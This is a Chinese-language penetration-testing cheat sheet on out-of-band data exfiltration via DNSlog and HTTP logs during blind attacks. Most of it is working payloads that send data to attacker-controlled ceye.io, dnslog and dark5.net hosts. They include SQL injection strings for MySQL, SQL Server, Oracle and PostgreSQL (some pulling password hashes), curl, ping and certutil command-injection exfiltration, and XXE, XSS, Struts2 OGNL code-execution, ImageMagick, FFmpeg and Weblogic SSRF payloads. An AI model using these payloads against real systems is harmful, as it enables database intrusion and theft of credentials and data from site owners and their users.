用DNS的log功能来突破盲注速度慢的限制。
技术说明:
DNSlog注⼊属于带外通信的⼀种,英⽂:Out of Band,简称:OOB。我们之前的注⼊都是在同⼀个信道上⾯ 的,⽐如我们之前的联合查询注⼊,都是做HTTP请求,然后得到HTTP返回包,没有涉及到其他的信道,⽐如 DNS。⽽带外通信,⾄少是要涉及到两个信道的。信道:在计算机中,指通信的通道,是信号传输的媒介。
利用场景:
我们在进⾏SQL盲注、命令执⾏、SSRF及XSS等攻击⽽⽆法看到回显结果时,就会⽤到该技术。
技术原理:
1.攻击者将恶意的sql注入payload(例如:LOAD FILE(CONCAT('\\\\',user(),'.test.com\\abc)) )经由Web服务器
2.Web服务器将恶意的payload传递进数据库
3.在数据库中user()函数被执行,dns查询就是变成root.test.com传入本地设置的DNS服务器
4.本地设置的DNS服务器查询root.test.com传到DNS服务器
5.DNS服务器返回NS服务器地址ns.test.com到本地设置的DNS服务器
6.本地设置的DNS服务器查询root.test.com到NS服务器ns.test.com (NS服务器ns.test.com就是攻击者可以控制的地方,在ns服务器上获得dns日志,就得到数据库的用户的值)
作为攻击者,提交注⼊语句,让数据库把需要查询的值和域名拼接起来,然后发⽣DNS查询,我们只要 能获得DNS的⽇志,就得到了想要的值。所以我们需要有⼀个⾃⼰的域名,然后在域名商处配置⼀条NS记录,然后 我们在NS服务器上⾯获取DNS⽇志即可。 简单说就是:DNSLog ⽤于监测 DNS 和 HTTP 访问记录,可通过HTTP请求,让⽬标主机主动请求 DNSLog API 地址,有相应的解析记录,则可判定为存在相应的漏洞。
利用细节
SQL注入
MySQL
-
- 支持load_file()函数(高版本默认不支持)
- 开启allow_url_fopen(默认开启)
核心语句:
select load_file(concat('\\\\',hex((select database())),'.8dmer4.ceye.io\\abv'));
hex是为了防止- /这样的字符影响了语句的正常执行,它会把不能出现在域名中的字符转换成16进制 8dmer4是个人的dns域名标识符记得要替换成自己的
dvwa实战语句1:
1' and if((select load_file(concat('\\\\',hex((select 212)),'.8dmer4.ceye.io\\abv'))),1,0) And '1'='1
dvwa实战语句2:
1' and if((select load_file(concat('\\\\',hex((select schema_name from information_schema.schemata limit 0,1)),'.8dmer4.ceye.io\\abv'))),1,0) And '1'='1
UNC路径
UNC是⼀种命名惯例, 主要⽤于在Microsof t Windows上指定和映射⽹络驱动器. UNC命名惯例最多被应⽤于在局域⽹中访 问⽂件服务器或者打印机。我们⽇常常⽤的⽹络共享⽂件就是这个⽅式。
其实我们平常在Widnows中⽤共享⽂件的时候就会⽤到这种⽹络地址的形式 \\sss.xxx\test\ 这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个就变\成了2个\,⽬的就是利⽤UNC路径。
因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使⽤这种⽅式外带数据。
SQL Server
核心语句:
DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.8dmer4.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
实战语句:
';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.8dmer4.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"')--
Oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
PostgreSQL
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $ DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
SQLMap配合DNSlog
命令执行漏洞
这里的操作是在命令行中直接执行的而不是像往常一样的Mysql注入
Linux
curl http://ip.port.b182oj.ceye.io/`whoami`
ping -c 1 `whoami`.ip.port.b182oj.ceye.io
Windows
ping %USERNAME%.b182oj.ceye.io
变量 类型 描述
%ALLUSERSPROFILE% 本地 返回“所有⽤户”配置⽂件的位置。
%APPDATA% 本地 返回默认情况下应⽤程序存储数据的位置。
%CD% 本地 返回当前⽬录字符串。
%CMDCMDLINE% 本地 返回⽤来启动当前的 Cmd.exe 的准确命令⾏。
%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME% 系统 返回计算机的名称。
%COMSPEC% 系统 返回命令⾏解释器可执⾏程序的准确路径。
%DATE% 系统 返回当前⽇期。使⽤与 date /t 命令相同的格式。由 Cmd.exe ⽣ 成。有关 date 命令的详细信息,请参阅 Date。
%ERRORLEVEL% 系统 返回上⼀条命令的错误代码。通常⽤⾮零值表⽰错误。
%HOMEDRIVE% 系统 返回连接到⽤户主⽬录的本地⼯作站驱动器号。基于主⽬录值⽽设置。 ⽤户主⽬录是在“本地⽤户和组”中指定的。
%HOMEPATH% 系统 返回⽤户主⽬录的完整路径。基于主⽬录值⽽设置。⽤户主⽬录是在“本 地⽤户和组”中指定的。
%HOMESHARE% 系统 返回⽤户的共享主⽬录的⽹络路径。基于主⽬录值⽽设置。⽤户主⽬录是在"本地用户和组"中指定的。
%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数⽬。
%OS% 系统 返回操作系统名称。Windows 2000 显⽰其操作系统为 Windows_NT。
%PATH% 系统 指定可执⾏⽂件的搜索路径。
%PATHEXT% 系统 返回操作系统认为可执⾏的⽂件扩展名的列表。
%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯⽚体系结构。值:x86 或 IA64(基于 Itanium)。
%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION% 系统 返回处理器的版本号。
%PROMPT% 本地 返回当前解释程序的命令提⽰符设置。由 Cmd.exe ⽣成。
%RANDOM% 系统 返回 0 到 32767 之间的任意⼗进制数字。由 Cmd.exe ⽣成。
%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根⽬录(即系统根 ⽬录)的驱动器。
%SYSTEMROOT% 系统 返回 Windows server operating system 根⽬录的位置。
%TEMP%和%TMP% 系统和⽤户 返回对当前登录⽤户可⽤的应⽤程序所使⽤的默认临时⽬录。有些应⽤程 序需要 TEMP,⽽其他应⽤程序则需要 TMP。
%TIME% 系统 返回当前时间。使⽤与 time /t 命令相 同的格式。由 Cmd.exe ⽣成。有关 time 命令的 详细信息,请参阅 Time。
%USERDOMAIN% 本地 返回包含⽤户帐户的域的名称。
%USERNAME% 本地 返回当前登录的⽤户的名称。
%USERPROFILE% 本地 返回当前⽤户的配置⽂件的位置。
%WINDIR% 系统 返回操作系统⽬录的位置。
SSRF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>
XSS
><img src=http://xss.xxxx.ceye.io/aaa>
其他
XML Entity Injection
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>
Struts2
xx.action?redirect:http://ip.port.b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[] {'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader (%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://i p.port.b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openCon nection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
FFMpeg
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0, concat:http://ip.port.b182oj.ceye.io
#EXT-X-ENDLIST
Weblogic
xxoo.com/uddiexplorer/SearchPublicRegistries.jsp? operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchke y=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
ImageMagick
push graphic-context viewbox 0 0 640 480 fill 'url(http://ip.port.b182oj.ceye.io)' pop graphic-context
Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test? inputFile=http://ip.port.b182oj.ceye.io/ssrf
DNSlog平台的搭建
可以用BugScanTeam GitHub - BugScanTeam/DNSLog: DNSLog 是一款监控 DNS 解析记录和 HTTP 访问记录的工具。
扩展:HTTP log
除开利用DNS的log,在可以执行系统命令的情况还可以利用HTTP的log,就是通过中间件的日志来获取结果。
Linux
for /F "delims=\" %i in ('whoami') do curl http://www.dark5.net/%i
如果碰到内容有空格(换⾏符等),就会截断,只输出前⾯的,这时候可以利⽤编码来输出,但有输出字符数最⼤ 限制;
curl http://xxx.dnslog.link/$(id|base64)
curl http://xxx.dnslog.link/`id|base64`
Windows
for /F %x in ('whoami') do start https://www.dark5.net/%x #启动浏览器访问
for /F %x in ('whoami') do certutil.exe -urlcache -split -f https://www.dark5.net/%x #内置命令⾏⼯具访问
for /F %x in ('dir /b') do certutil.exe -urlcache -split -f https://www.dark5.net/%x #只列出⽂件名
Windows下的base64编码
暂时未找到能直接像Linux那样可以通过管道来加密的,但通过多次命令的执⾏达到先base64加密,再做HTTP请求
whoami > result.txt certutil -encode result.txt result_bs64 for /f %x in (result_bs64) do certutil.exe -urlcache -split -f http://dvwa.dark5.net/%x
每⼀个请求都会出现两个请求⽇志,所以要去重复! 并把结果保存为result_bs64_local
ZGVza3RvcC1xOTl1dHJzXGhhY2tlcg0K
然后再把这个 result_bs64_local ⾥⾯加密的⽂件内容解密,命令为: certutil -decode result_bs64_local result_local.txt
可参考文章:
渗透测试小技巧之DNSlog | 瓦都剋 (dropsec.xyz)
Dnslog在SQL注入中的实战 - 安全客,安全资讯平台 (anquanke.com)
sqlmap利用DNS进行oob(out of band)注入(转) - 渗透测试中心 - 博客园 (cnblogs.com)
HawkEye Log/Dns 在Sql注入中的应用 - HackingDocs (hackinglab.cn)
Oracle注入之带外通信 - 卿先生 - 博客园 (cnblogs.com)
带外通道技术(OOB)总结 - FreeBuf网络安全行业门户